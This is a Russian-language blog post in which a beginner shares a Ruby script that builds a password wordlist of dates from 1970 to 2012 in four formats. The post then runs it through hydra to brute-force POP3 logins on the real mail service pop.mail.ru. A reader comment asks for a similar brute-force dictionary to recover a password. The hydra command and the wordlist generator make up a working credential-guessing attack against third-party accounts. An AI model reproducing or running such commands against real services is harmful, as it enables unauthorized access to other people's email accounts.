Программа на Ruby для составления словаря дат для брута

в 13:22, , рубрики: password, ruby, метки: , ,

Цель: создать пассвордлист для гидры (hydra-gtk), содержащий даты в разном формате.

Ранее пробовал сделать свой словарь паролей с датами. Например мой ДР: 26081983 или 260883.

Для этого в EXCEL создал столбик с датами от 01.01.1970 до 31.12.2012 и еще один от 01.01.70 до 31.12.12 (благо — это не надо вводить в ручную, а всего лишь потянуть за правый нижний угол первой ячейки и подождать пока список не дойдет до нужной даты).
Далее эти колонки скопировал в блокнот и методом поиска/замены — заменил все точки на пустую строку, что привело к их удалению: было 26.08.1983 — стало 26081983.
Итого в словаре у меня получилось два формата даты 010170 и 01011970, но ведь первое января многие запишут как 1.01.1970 (т.е. без нуля впереди).

Попробовал написать генератор паролей на Ruby:

t1 = Time.now
start = Time.new(1970, 1, 1)                  # 1:01:1970 - начальная дата
array = Array.new
while start.year < 2013                       # с 1-01-1970 по 31-12-2012
	array.push(start.strftime("%-d%m%y"))     #  1 01   70 =>    10170
	array.push(start.strftime("%d%m%y"))      # 01 01   70 =>   010170
	array.push(start.strftime("%-d%m%Y"))     #  1 01 1970 =>  1011970
	array.push(start.strftime("%d%m%Y"))      # 01 01 1970 => 01011970
	start +=86400			      # инкремент +1 день (60 х 60 х 24= 86400сек)
end
fff = File.open("pass_date.txt", "w")         # сохраняем в файл pass_date.txt
fff.puts(array.uniq)                          # удаляем дубликаты
puts "======= finish: #{Time.now-t1} seconds" # затраченное время

запускаем руби_код:

ruby pass_gen.rb

запускаем брут почты:

hydra -L login.txt -P pass_date.txt -o log.txt -t 128 pop.mail.ru pop3

В итоге имеем:
1. четыре варианта формата даты;
2. возможность изменять начальную и конечную дату.

Это моя первая программа вообще и на руби в частности — буду очень рад критике и поучениям!
Если кто-нибудь знает как значительно улучшить код в целях красоты и быстродействия — буду очень признателен.
Спасибо.

Автор: dimarikpro

Источник


  1. max:

    не подскажите плиз, словарь брута пароля чтоб символы не повторялись больше 2 раз?
    К примеру чтоб вот такого не было: aaa, 1111, q1q1q1, 4g4g4g, &&&&, %%% etc.
    нужно востановить пароль: в нем символы дублируются всего 2 раза. Пример: QptQtp, 016160, 1e6tyt1e6y, PP1nGn1G и т.д.

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js